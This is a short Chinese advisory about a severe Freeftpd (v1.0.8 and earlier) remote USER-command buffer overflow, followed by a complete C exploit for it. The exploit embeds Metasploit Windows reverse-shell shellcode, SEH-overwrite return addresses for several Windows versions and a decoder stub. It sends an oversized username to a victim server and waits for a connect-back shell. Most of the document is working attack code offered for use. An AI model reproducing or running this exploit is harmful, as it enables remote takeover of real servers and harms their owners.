漏洞资料：http://freeftpd.com/?ctt=changelog
危险程度：严重
影响范围：Freeftpd v1.0.8 以及之前版本
解决办法：升级到Freeftpd v1.0.9
相关介绍：Freeftpd 是一款免费的FTP/FTPS/SFTP服务器软件

------------------------------------------------------------------------------

/*
_______ ________ .__ _____ __
___ __\ _ \ ____ \_____ \ | |__ / | | ____ | | __
\ \/ / /_\ \ / \ _(__ < ______ | | \ / | |__/ ___\| |/ /
> <\ \_/ \ | \/ \ /_____/ | Y \/ ^ /\ \___| <
/__/\_ \\_____ /___| /______ / |___| /\____ | \___ >__|_ \
\/ \/ \/ \/ 26\09\05 \/ |__| \/ \/

[i] Title: FreeFTPD Remote USER Buffer overflow
[i] Discovered by: barabas [mutsonline]
[i] Exploit by: Expanders

[ Why FTPD crash? ]

When logging option is enabled freeftpd copy the user and the pass supplied
by the user in the memory before put it in a logfile.

----Code Snippet----
78001D5D MOV ECX,DWORD PTR SS:[ESP+4] Ftpd put in ECX SP+4 that point
to the user supplied data.
--------------------

If attacker's username is too big for the size of the buffer first we go to overwrite
SEH handler(1011 bytes) and then the stack itself.

Beacuse stack point to our buffer this code

----Code Snippet----
78001D90 MOV EAX,DWORD PTR DS:[ECX]
--------------------

will cause an access violation.

Code Execution is possible.

[ Timeline ]

This vulnerability was not comunicated to the author.

[ Links ]

www.x0n3-h4ck.org

*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define BUGSTR "USER %s \r\nPASS x0ned\r\n" // Command where bug reside
#define BUFFSIZE 2000 // Buffer size

int banner();
int usage(char *filename);
int inject(char *port, char *ip);
int remote_connect( char* ip, unsigned short port );


/* win32_reverse - EXITFUNC=seh LHOST=0.0.0.0 LPORT=0
Size=312 Encoder=Pex http://metasploit.com */
char shellcode[] =
"\x2b\xc9\x83\xe9\xb8\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xcf"
"\xfd\x4a\x2d\x83\xee\xfc\xe2\xf4\x33\x97\xa1\x60\x27\x04\xb5\xd2"
"\x30\x9d\xc1\x41\xeb\xd9\xc1\x68\xf3\x76\x36\x28\xb7\xfc\xa5\xa6"
"\x80\xe5\xc1\x72\xef\xfc\xa1\x64\x44\xc9\xc1\x2c\x21\xcc\x8a\xb4"
"\x63\x79\x8a\x59\xc8\x3c\x80\x20\xce\x3f\xa1\xd9\xf4\xa9\x6e\x05"
"\xba\x18\xc1\x72\xeb\xfc\xa1\x4b\x44\xf1\x01\xa6\x90\xe1\x4b\xc6"
"\xcc\xd1\xc1\xa4\xa3\xd9\x56\x4c\x0c\xcc\x91\x49\x44\xbe\x7a\xa6"
"\x8f\xf1\xc1\x5d\xd3\x50\xc1\x6d\xc7\xa3\x22\xa3\x81\xf3\xa6\x7d"
"\x30\x2b\x2c\x7e\xa9\x95\x79\x1f\xa7\x8a\x39\x1f\x90\xa9\xb5\xfd"
"\xa7\x36\xa7\xd1\xf4\xad\xb5\xfb\x90\x74\xaf\x4b\x4e\x10\x42\x2f"
"\x9a\x97\x48\xd2\x1f\x95\x93\x24\x3a\x50\x1d\xd2\x19\xae\x19\x7e"
"\x9c\xbe\x19\x6e\x9c\x02\x9a\x45"

"\x00\x00\x00\x00" // IP

"\xa9\x95"

"\x00\x00" // PORT
"\xa9\xae\xc3\xcc\x5a\x95\xa6\xd4\x65\x9d\x1d\xd2\x19\x97\x5a\x7c"
"\x9a\x02\x9a\x4b\xa5\x99\x2c\x45\xac\x90\x20\x7d\x96\xd4\x86\xa4"
"\x28\x97\x0e\xa4\x2d\xcc\x8a\xde\x65\x68\xc3\xd0\x31\xbf\x67\xd3"
"\x8d\xd1\xc7\x57\xf7\x56\xe1\x86\xa7\x8f\xb4\x9e\xd9\x02\x3f\x05"
"\x30\x2b\x11\x7a\x9d\xac\x1b\x7c\xa5\xfc\x1b\x7c\x9a\xac\xb5\xfd"
"\xa7\x50\x93\x28\x01\xae\xb5\xfb\xa5\x02\xb5\x1a\x30\x2d\x22\xca"
"\xb6\x3b\x33\xd2\xba\xf9\xb5\xfb\x30\x8a\xb6\xd2\x1f\x95\xba\xa7"
"\xcb\xa2\x19\xd2\x19\x02\x9a\x2d";

char jmpback[]=
//22 byte xor decoder (0x55)
"\xEB\x0F\x5B\x33\xC9\x66\x83\xE9\xE0\x80\x33\x55\x43\xE2\xFA\xEB
\x05\xE8\xEC\xFF\xFF\xFF"
//(20 byte jump-back code -> springt 256 + 256 + 64 bytes terug)
"\x8C\xBB\x8C\x21\x71\xA1\x0C\xD5\x94\x5F\xC5\xAB\x98\xAB\x98\xD5
\xBC\x15\xAA\xB4";

char jmpover[]=
// 2 bytes jump 4 bytes over - 2 bytes NOP
"\xEb\x04\x90\x90";

struct retcodes{char *platform;unsigned long addr;} targets[]= {
{ "Windows NT SP 5/6" , 0x776a1082 }, // ws2help.dll pop esi, pop ebx, retn [Tnx to metasploit]
{ "Windows 2k Universal", 0x750211a9 }, // ws2help.dll pop ebp, pop ebx, retn [Tnx to metasploit]
{ "Windows XP SP 1/2" , 0x71aa13d6 }, // ws2help.dll pop ebx, pop ebp, retn [Tnx to metasploit]
{ NULL }
};
int banner() {
printf("\n _______ ________ .__ _____ __ \n");
printf("___ __\\ _ \\ ____ \\_____ \\ | |__ / | | ____ | | __ \n");
printf("\\ \\/ / /_\\ \\ / \\ _(__ < ______ | | \\ / | |__/ ___\\| |/ / \n");
printf(" > <\\ \\_/ \\ | \\/ \\ /_____/ | Y \\/ ^ /\\ \\___| < \n");
printf("/__/\\_ \\\\_____ /___| /______ / |___| /\\____ | \\___ >__|_ \\ \n");
printf(" \\/ \\/ \\/ \\/ \\/ |__| \\/ \\/ \n\n");
printf("[i] Title: \tFreeFTPD Remote USER Buffer overflow\n");
printf("[i] Discovered by:\tbarabas [mutsonline]\n");
printf("[i] Exploit by: \tExpanders\n\n");
return 0;
}

int usage(char *filename) {
int i;
printf("Usage: \t%s <host> <port> <l_ip> <l_port> <targ>\n\n",filename);
printf(" \t<host> : Victim's host\n");
printf(" \t<port> : Victim's port :: Default: 21\n");
printf(" \t<l_ip> : Local ip address for connectback\n");
printf(" \t<l_port> : Local port for connectback\n");
printf(" \t<targ> : Target from the list below\n\n");

printf("# \t Platform\n");
printf("-----------------------------------------------\n");
for(i = 0; targets[i].platform; i++)
printf("%d \t %s\n",i,targets[i].platform);
printf("-----------------------------------------------\n");
exit(0);
}

int inject(char *port, char *ip)
{
unsigned long xorip;
unsigned short xorport;
xorip = inet_addr(ip)^(unsigned long)0x2D4AFDCF;
xorport = htons(atoi( port ))^(unsigned short)0x2D4A;
memcpy ( &shellcode[184], &xorip, 4);
memcpy ( &shellcode[190], &xorport, 2);
return 0;
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[X] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[X] Socket failed!\n" );
exit ( 1 );
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( "[X] Failed connecting!\n" );
exit ( 1 );
}
return ( s );
}

int main(int argc, char *argv[]) {
int s,position;
unsigned int rcv;
char *buffer,*request;
char recvbuf[256];
banner();
if( (argc != 6) || (atoi(argv[2]) < 1) || (atoi(argv[2]) > 65534) )
usage(argv[0]);
position = 0;
printf("[+] Creating evil buffer\n");
buffer = (char *) malloc(BUFFSIZE);
request = (char *) malloc(BUFFSIZE + strlen(BUGSTR)); // +3 == \r + \n + 0x00
memset(buffer,0x90,BUFFSIZE); // Fill with nops

inject(argv[4],argv[3]); // Xor port and ip and put them into the shellcode

position = 1007 - (strlen(shellcode) + 100);
// 1007 : Pointer to next Execption structure 100: divide spaces
memcpy(buffer+position,shellcode,strlen(shellcode));
position += strlen(shellcode)+100;
position += 2; // 2 bytes more nops
memcpy(buffer+position,jmpover,2);
position += 2;
memcpy(buffer+position,&targets[atoi(argv[5])].addr,4);
position += 4;
position += 8; // 8 bytes more nops
memcpy(buffer+position,jmpback,strlen(jmpback));
position += strlen(jmpback);
position += 8; // 8 bytes more nops
memset(buffer+position,0x00,1); // End


sprintf(request,BUGSTR,buffer);
printf("[+] Connecting to remote host\n");
s = remote_connect(argv[1],atoi(argv[2]));
rcv=recv(s,recvbuf,256,0);
if(rcv<0)
{
printf("\n[X] Error while recieving banner!\n");
close_exit();
}
if (strstr(recvbuf,"freeFTPd")!=0)
{
sleep(1);
printf("[+] Sending %d bytes of painfull buffer\n",strlen(buffer));
if ( send ( s, request, strlen (request), 0) <= 0 )
{
printf("[X] Failed to send buffer\n");
exit ( 1 );
}
printf("[+] Done - Wait for shell on port %s\n",argv[4]);
} else
printf("[X] This server is not running freeFTPd\n");
close(s);
free(buffer);
buffer = NULL;
return 0;
}